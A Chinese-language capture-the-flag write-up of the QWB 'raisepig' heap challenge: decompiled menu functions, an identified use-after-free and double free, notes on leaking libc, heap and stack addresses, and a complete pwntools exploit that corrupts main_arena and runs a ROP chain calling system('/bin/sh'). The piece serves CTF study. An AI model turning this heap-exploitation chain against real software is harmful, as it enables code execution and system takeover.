qwb_raisepig
0X01 程序分析
首先遇到的问题是反编译伪代码失败, 解决办法参考so
其次看保护情况
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
保护全开
反汇编得到main函数如下:
void __fastcall main(__int64 a1, char **a2, char **a3)
{
char buf; // [rsp+10h] [rbp-20h]
unsigned __int64 canary; // [rsp+28h] [rbp-8h]
__int64 savedregs; // [rsp+30h] [rbp+0h]
canary = __readfsqword(0x28u);
sub_1160();
while ( 1 )
{
show_menu();
read(0, &buf, 8uLL);
atoi(&buf);
switch ( (unsigned int)&savedregs )
{
case 1u:
raise_pig();
break;
case 2u:
visit();
break;
case 3u:
eat();
break;
case 4u:
eat_all();
break;
case 5u:
puts("See you next time.");
exit(0);
return;
default:
puts("Invalid choice");
break;
}
}
}
其中:
raise_pig函数如下:
__int64 raise_pig()
{
void *v0; // rsi
size_t name_len; // [rsp+0h] [rbp-20h]
void *pig_ptr; // [rsp+8h] [rbp-18h]
void *pig_name_ptr; // [rsp+10h] [rbp-10h]
unsigned __int64 canary; // [rsp+18h] [rbp-8h]
canary = __readfsqword(0x28u);
pig_ptr = 0LL;
pig_name_ptr = 0LL;
LODWORD(name_len) = 0;
if ( (unsigned int)g_count <= 0x63 )
{
pig_ptr = malloc(0x28uLL); //为结构体分配空间
memset(pig_ptr, 0, 0x28uLL);
printf("Length of the name :", 0LL);
if ( (unsigned int)_isoc99_scanf("%u", &name_len) == -1 )
exit(-1);
pig_name_ptr = malloc((unsigned int)name_len); //为猪的名字分配空间
if ( !pig_name_ptr )
{
puts("error !");
exit(-1);
}
printf("The name of pig :", &name_len);
v0 = pig_name_ptr;
read(0, pig_name_ptr, (unsigned int)name_len); //读取猪的名字
*((_QWORD *)pig_ptr + 1) = pig_name_ptr; //将指向猪名的指针存到结构体中
printf("The type of the pig :", v0);
_isoc99_scanf("%23s", (char *)pig_ptr + 16); //将猪的类型读到结构体中
*(_DWORD *)pig_ptr = 1; //结构体的前8字节赋值为1
for ( HIDWORD(name_len) = 0; HIDWORD(name_len) <= 0x63; ++HIDWORD(name_len) )
{
if ( !g_array[HIDWORD(name_len)] )
{
g_array[HIDWORD(name_len)] = pig_ptr; //将猪的指针存到全局数组中
break;
}
}
++g_count; //记录猪数量的全局变量加一
}
return 0LL;
}
pig结构体如下:
struct pig{
long eat_flag;
void *name_ptr;
char[24] type;
}
可以根据代码画出运行raise_pig后内存中的结构图如下:
g_array
+--------+
| pig_ptr+---+ pig
+--------+ +> +--------+
| | |EAT_FLAG|
+--------+ +--------+ name
| | |name_ptr+----> +---------+
| | +--------+ | |
| | |pig_type| | |
| | | | | |
+--------+ | | | |
+--------+ | |
| |
| |
+---------+
visit 函数如下
__int64 visit()
{
__int64 index; // [rsp+4h] [rbp-Ch]
HIDWORD(index) = __readfsqword(0x28u);
if ( g_count )
{
LODWORD(index) = 0;
while ( (unsigned int)index <= 0x63 )
{
if ( g_array[(unsigned int)index] && *(_DWORD *)g_array[(unsigned int)index] )
//可以看到会判断结构体体的eat_flag
{
printf("Name[%u] :%s\n", (unsigned int)index, *(_QWORD *)(g_array[(unsigned int)index] + 8LL), index);
printf("Type[%u] :%s\n", (unsigned int)index, g_array[(unsigned int)index] + 16LL);
}
LODWORD(index) = index + 1;
}
}
else
{
puts("No pig in the garden !");
}
return 0LL;
}
之后可以利用这个函数的输出泄露地址
eat()
__int64 eat()
{
unsigned int index; // [rsp+4h] [rbp-Ch]
unsigned __int64 canary; // [rsp+8h] [rbp-8h]
canary = __readfsqword(0x28u);
if ( g_count )
{
printf("Which pig do you want to eat:");
_isoc99_scanf("%d", &index);
if ( index > 0x63 || !g_array[index] )
{
puts("Invalid choice");
return 0LL;
}
srand(0);
*(_DWORD *)g_array[index] = 0; //将结构体的eat_flag置零
free(*(void **)(g_array[index] + 8LL)); //free(name_ptr)
}
else
{
puts("No pig");
}
return 0LL;
}
这儿free了指向name的指针但是没有将指针清零. 可以doublefree
eat_all()
unsigned __int64 eat_all()
{
unsigned int i; // [rsp+4h] [rbp-Ch]
unsigned __int64 canary; // [rsp+8h] [rbp-8h]
canary = __readfsqword(0x28u);
for ( i = 0; i <= 0x63; ++i )
{
if ( g_array[i] && !*(_DWORD *)g_array[i] )
//free掉所有eat_flag为0 的结构体
{
free((void *)g_array[i]);
g_array[i] = 0LL; //将指向结构体的指针置零
--g_count;
}
}
puts("Done!");
return __readfsqword(0x28u) ^ canary;
}
0x02 漏洞分析
就是利用那个没有置零的指针可以进行一系列操作了, 因为我也没做出来. 就参考某不知名大佬的wp分析一遍吧.wp在文章底部给出
做了个ppt, 方便描述. 地址
0x03 总结:
这次又学到了不少骚操作:
- free后没有置零可以获得
- libc地址
- heap地址
- 利用 libc中的
environ
可以泄露stack的地址 - 劫持main_arena中top的骚操作: 先劫持个fast bin来得到个有效的size再劫持top到别的地方
- 对于计算main_arena在libc中的偏移可以参考大佬的githubrepo
计划把glibc的malloc和free的源码大致看一遍. 基础太重要了
0x04 exp
from pwn import *
context(arch = 'amd64', os = 'linux', endian = 'little')
def Raise(length, name, t):
p.recvuntil('Your choice : ')
p.sendline('1')
p.recvuntil('name :')
p.sendline(str(length))
p.recvuntil(' pig :')
p.send(name)
p.recvuntil(' pig :')
p.sendline(t)
def Visit():
p.recvuntil('Your choice : ')
p.sendline('2')
def Eat(num):
p.recvuntil('Your choice : ')
p.sendline('3')
p.recvuntil(' eat:')
p.sendline(str(num))
def EatAll():
p.recvuntil('Your choice : ')
p.sendline('4')
debug = 1
if debug == 1:
p = process('./raisepig')
else:
p = remote("39.107.32.132", 9999)
raw_input()
libc = ELF('./libc-64')
Raise(0x90, 'aa', 'a')
Raise(0x90, 'aa', 'a')
Raise(0x90, 'aa', 'a')
Eat(0)
EatAll()
Raise(0x90, 'a' * 8, 'a')#unsorted bin 指向 main_arena
Visit()
p.recvuntil('a' * 8)
libc.address = u64(p.recvuntil('\n')[ : -1].ljust(8, '\x00')) -0x3c4b78 #why 0x3c4b78
print hex(libc.address)
Eat(0)
Eat(1)
EatAll()
Raise(0x90, 'a' * 8, 'a')
Visit()
p.recvuntil('a' * 8)
heap_addr = u64(p.recvuntil('\n')[0 : -1].ljust(8, '\x00')) #though not used
print hex(heap_addr)
Eat(0)
Eat(2)
EatAll()
Raise(0x90, '/bin/sh', 'a')
Raise(0x28, 'aa', 'a')
Raise(0x28, 'aa', 'a')
Raise(0x28, 'aa', 'a')
Eat(1)
Eat(2)
Eat(1)#double free
Raise(0x28, 'aa', 'a')
Eat(4)
Raise(0x28, p64(1) + p64(libc.symbols['environ']) + 'aaa', 'a')
Visit()
p.recvuntil('Name[4] :')
stack_addr = u64(p.recvuntil('\n')[ : -1].ljust(8, '\x00'))
print hex(stack_addr)
Raise(0x60, 'aa', 'a')
Raise(0x60, 'aa', 'a')
Raise(0x50, 'aa', 'a')
Raise(0x50, 'aa', 'a')
Raise(0x60, 'aa', 'a')
Eat(6)
Eat(7)
Eat(6)
Eat(8)
Eat(9)
Eat(8)
Raise(0x60, p64(0x60), 'a')
Raise(0x60, 'aa', 'a')
Raise(0x60, 'aa', 'a')
Raise(0x50, p64(libc.address + 0x3c4b48), 'a')#why 0x3c4b48
Raise(0x50, 'aa', 'a')
Raise(0x50, 'aa', 'a')
Raise(0x50, p64(0) * 4 + p64(stack_addr - 0x140), 'a')
Eat(3)
rop = ROP(libc)
rop.call(libc.symbols['system'], [heap_addr + 0x10])
Raise(0x100, str(rop), 'a')
p.interactive()